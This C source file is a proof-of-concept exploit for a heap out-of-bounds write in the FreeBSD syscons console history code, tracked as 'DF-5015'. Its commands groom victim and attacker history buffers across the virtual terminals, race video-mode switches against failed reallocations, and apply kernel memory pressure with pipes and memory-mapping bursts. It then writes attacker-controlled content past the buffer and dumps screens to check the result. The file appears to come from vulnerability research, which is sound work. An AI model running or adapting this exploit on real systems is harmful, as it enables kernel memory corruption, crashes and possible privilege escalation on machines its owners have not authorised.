/*
 * DF-5015 PoC -- syscons schistory.c geometry-mismatch heap OOB write
 * (see README.md; summary at top of original draft applies)
 *
 * usage: df5015 <cmd> ...
 *   arm                groom: 25-row history on ttyv1 (victim), then ttyv0
 *   flip <n> <hi_ms> <lo_ms>
 *                      flip 80x25 <-> 80x60; stops (while in 80x60) when
 *                      /tmp/DF5015_STOP exists; hi phase is long so a
 *                      failed realloc leaves a wide mismatch window
 *   shot <vty>         CONS_SCRSHOT dump of vty screen as rows of chars
 *   mark <vty> <str>   scroll a fresh screenful then put str at bottom row
 *   fill <vty> <ch> <rows>
 *                      write <rows> full rows of ch (controlled OOB content)
 *   switch <vty>       VT_ACTIVATE
 *   drain              read ttyv0 forever (keeps scgetc pumping keys)
 *   pressure <n>       allocate n 64KB-filled pipes (kernel kmem pressure)
 *   info               print winsize of each fd
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/consio.h>
#include <sys/kbio.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/sysctl.h>

#define NOBODY 65534
#define MODE_80x25 24		/* from vidcontrol -i mode */
#define MODE_80x60 34

static int fds[8];

static void
drop(void)
{
	if (setgid(NOBODY) || setuid(NOBODY)) {
		perror("setuid");
		exit(1);
	}
}

static void
openall(void)
{
	char path[32];
	int i;

	for (i = 0; i < 8; i++) {
		snprintf(path, sizeof(path), "/dev/ttyv%d", i);
		fds[i] = open(path, O_RDWR | O_NOCTTY);
	}
	if (fds[0] < 0) {
		perror("open ttyv0");
		exit(1);
	}
	drop();
}

static void
shrink(int vty)
{
	int lines = 25;

	if (ioctl(fds[vty], CONS_HISTORY, &lines)) {
		fprintf(stderr, "CONS_HISTORY(%d): %s\n", vty,
		    strerror(errno));
		exit(2);
	}
}

static void
winsize(int vty, int *cols, int *rows)
{
	struct winsize ws;

	if (ioctl(fds[vty], TIOCGWINSZ, &ws)) {
		perror("TIOCGWINSZ");
		exit(2);
	}
	*cols = ws.ws_col;
	*rows = ws.ws_row;
}

static int
cmd_arm(void)
{
	int c, r;

	openall();
	winsize(0, &c, &r);
	printf("ttyv0 winsize %dx%d uid %d\n", c, r, getuid());
	if (c != 80 || r != 25) {
		fprintf(stderr, "ttyv0 is not 80x25\n");
		return 1;
	}
	shrink(1);		/* victims first (lower addresses) */
	shrink(2);
	shrink(3);
	shrink(4);
	shrink(5);
	shrink(6);
	shrink(7);
	shrink(0);		/* attacker buffer last */
	printf("armed: 25-row history on ttyv1-7 (victims) and ttyv0\n");
	return 0;
}

static int
cmd_flip(int n, int hi, int lo)
{
	int mode, i;

	openall();
	for (i = 0; i < n; i++) {
		mode = MODE_80x60;
		if (ioctl(fds[0], CONS_SET, &mode)) {
			fprintf(stderr, "CONS_SET(80x60): %s\n",
			    strerror(errno));
			return 2;
		}
		if (access("/tmp/DF5015_STOP", F_OK) == 0) {
			printf("flip: stopped in 80x60, iter %d\n", i);
			fflush(stdout);
			break;	/* keep the (possibly mismatched) 80x60 */
		}
		{
			int j;
			for (j = 0; j < hi / 100; j++) {
				if (access("/tmp/DF5015_STOP", F_OK) == 0) {
					printf("flip: stopped in 80x60 "
					    "(watch), iter %d\n", i);
					fflush(stdout);
					goto out;
				}
				usleep(100000);
			}
		}
		mode = MODE_80x25;
		if (ioctl(fds[0], CONS_SET, &mode)) {
			fprintf(stderr, "CONS_SET(80x25): %s\n",
			    strerror(errno));
			return 2;
		}
		usleep(lo * 1000);
	}
out:
	return 0;
}

static int
cmd_flipwatch(int n, int hi, int lo)
{
	char buf[1024];
	size_t len;
	int mode, i, j;

	openall();
	for (i = 0; i < n; i++) {
		mode = MODE_80x60;
		if (ioctl(fds[0], CONS_SET, &mode)) {
			fprintf(stderr, "CONS_SET(80x60): %s\n",
			    strerror(errno));
			return 2;
		}
		for (j = 0; j < hi / 20; j++) {
			len = sizeof(buf) - 1;
			if (sysctlbyname("hw.df5015", buf, &len, NULL, 0))
				break;
			buf[len] = 0;
			if (strstr(buf, "rows=25 size=2000") &&
			    strstr(buf, "xsize=80 ysize=60")) {
				printf("flipwatch: MISMATCH at iter %d: "
				    "%s\n", i, buf);
				fflush(stdout);
				return 0;	/* frozen in 80x60 */
			}
			usleep(20000);
		}
		mode = MODE_80x25;
		if (ioctl(fds[0], CONS_SET, &mode)) {
			fprintf(stderr, "CONS_SET(80x25): %s\n",
			    strerror(errno));
			return 2;
		}
		usleep(lo * 1000);
	}
	return 0;
}

static int
cmd_shot(int vty)
{
	scrshot_t shot;
	vid_info_t vinfo;
	int x, y;
	u_int16_t ch;

	openall();
	vinfo.size = sizeof(vinfo);
	if (ioctl(fds[vty], CONS_GETINFO, &vinfo)) {
		perror("CONS_GETINFO");
		return 2;
	}
	shot.xsize = vinfo.mv_csz;
	shot.ysize = vinfo.mv_rsz;
	shot.buf = malloc(shot.xsize * shot.ysize * sizeof(u_int16_t));
	if (shot.buf == NULL)
		return 2;
	if (ioctl(fds[vty], CONS_SCRSHOT, &shot)) {
		perror("CONS_SCRSHOT");
		return 2;
	}
	for (y = 0; y < shot.ysize; y++) {
		printf("%02d|", y);
		for (x = 0; x < shot.xsize; x++) {
			ch = shot.buf[y * shot.xsize + x] & 0xff;
			putchar((ch >= 32 && ch < 127) ? ch : '.');
		}
		putchar('\n');
	}
	return 0;
}

static int
cmd_mark(int vty, const char *s)
{
	char nl[2] = {'\n', 0};
	char buf[256];
	int cols, rows, i, len;

	openall();
	winsize(vty, &cols, &rows);
	for (i = 0; i < rows + 5; i++)	/* scroll a full screen */
		if (write(fds[vty], nl, 1) != 1)
			perror("write nl");
	len = snprintf(buf, sizeof(buf), "%s\r", s);
	if (write(fds[vty], buf, len) != len)
		perror("write mark");
	return 0;
}

static int
cmd_fill(int vty, const char *cs, int rows)
{
	char row[128];
	int c, r, i, len;

	if (*cs == '\0' || rows <= 0)
		return 64;
	openall();
	winsize(vty, &c, &r);
	if (c > (int)sizeof(row) - 2)
		c = sizeof(row) - 2;
	for (i = 0; i < c; i++)
		row[i] = *cs;
	row[c] = '\r';
	row[c + 1] = '\n';
	len = c + 2;
	for (i = 0; i < rows; i++)
		if (write(fds[vty], row, len) != len)
			perror("write fill");
	return 0;
}

static int
cmd_switch(int vty)
{
	openall();
	if (ioctl(fds[0], VT_ACTIVATE, (caddr_t)(long)vty))
		perror("VT_ACTIVATE");
	return 0;
}

static int
cmd_slkstate(int vty)
{
	int f = 0;

	openall();
	if (ioctl(fds[vty], KDGKBSTATE, &f)) {
		perror("KDGKBSTATE");
		return 2;
	}
	printf("%d\n", !!(f & SLKED));
	return 0;
}

static int
cmd_drain(void)
{
	char buf[64];
	ssize_t n;

	openall();
	for (;;) {
		n = read(fds[0], buf, sizeof(buf));
		if (n < 0) {
			perror("read");
			return 1;
		}
	}
	return 0;
}

static int
cmd_pressure(int n)
{
	static char block[65536];
	int *pf;
	int round;

	pf = malloc(2 * n * sizeof(int));
	if (pf == NULL)
		return 2;
	for (round = 0; ; round++) {
		int i, p[2];

		for (i = 0; i < n; i++) {
			if (pipe(p))
				break;
			pf[2 * i] = p[0];
			pf[2 * i + 1] = p[1];
			if (write(p[1], block, sizeof(block)) != sizeof(block)) {
				/* partial fill still holds pages */
			}
		}
		printf("pressure round %d: %d pipes\n", round, i);
		fflush(stdout);
		sleep(20);	/* flip churns during the free-page dip */
		for (; i > 0; i--)
			close(pf[2 * i - 1]);
		sleep(2);
	}
	return 0;
}

static int
cmd_vmburst(int mb)
{
	char *p;
	size_t sz = (size_t)mb << 20;
	int round;

	for (round = 0;; round++) {
		p = mmap(NULL, sz, PROT_READ | PROT_WRITE,
		    MAP_ANON | MAP_PRIVATE, -1, 0);
		if (p == MAP_FAILED) {
			printf("vmburst mmap failed round %d\n", round);
			fflush(stdout);
			sleep(2);
			continue;
		}
		memset(p, 0x41, sz);
		munmap(p, sz);
	}
	return 0;
}

static int
cmd_info(void)
{
	int c, r, i;

	openall();
	for (i = 0; i < 8; i++) {
		if (fds[i] < 0)
			continue;
		winsize(i, &c, &r);
		printf("ttyv%d: %dx%d fd %d uid %d\n", i, c, r, fds[i],
		    getuid());
	}
	return 0;
}

int
main(int argc, char **argv)
{
	if (argc < 2)
		goto usage;
	if (!strcmp(argv[1], "arm"))
		return cmd_arm();
	if (!strcmp(argv[1], "flip") && argc == 5)
		return cmd_flip(atoi(argv[2]), atoi(argv[3]),
		    atoi(argv[4]));
	if (!strcmp(argv[1], "flipwatch") && argc == 5)
		return cmd_flipwatch(atoi(argv[2]), atoi(argv[3]),
		    atoi(argv[4]));
	if (!strcmp(argv[1], "shot") && argc == 3)
		return cmd_shot(atoi(argv[2]));
	if (!strcmp(argv[1], "mark") && argc == 4)
		return cmd_mark(atoi(argv[2]), argv[3]);
	if (!strcmp(argv[1], "fill") && argc == 5)
		return cmd_fill(atoi(argv[2]), argv[3], atoi(argv[4]));
	if (!strcmp(argv[1], "switch") && argc == 3)
		return cmd_switch(atoi(argv[2]));
	if (!strcmp(argv[1], "slkstate") && argc == 3)
		return cmd_slkstate(atoi(argv[2]));
	if (!strcmp(argv[1], "drain"))
		return cmd_drain();
	if (!strcmp(argv[1], "pressure") && argc == 3)
		return cmd_pressure(atoi(argv[2]));
	if (!strcmp(argv[1], "vmburst") && argc == 3)
		return cmd_vmburst(atoi(argv[2]));
	if (!strcmp(argv[1], "info"))
		return cmd_info();
usage:
	fprintf(stderr, "usage: %s arm|flip n hi lo|flipwatch n hi lo|shot v|mark v s|"
	    "fill v ch n|switch v|drain|pressure n|info\n", argv[0]);
	return 64;
}
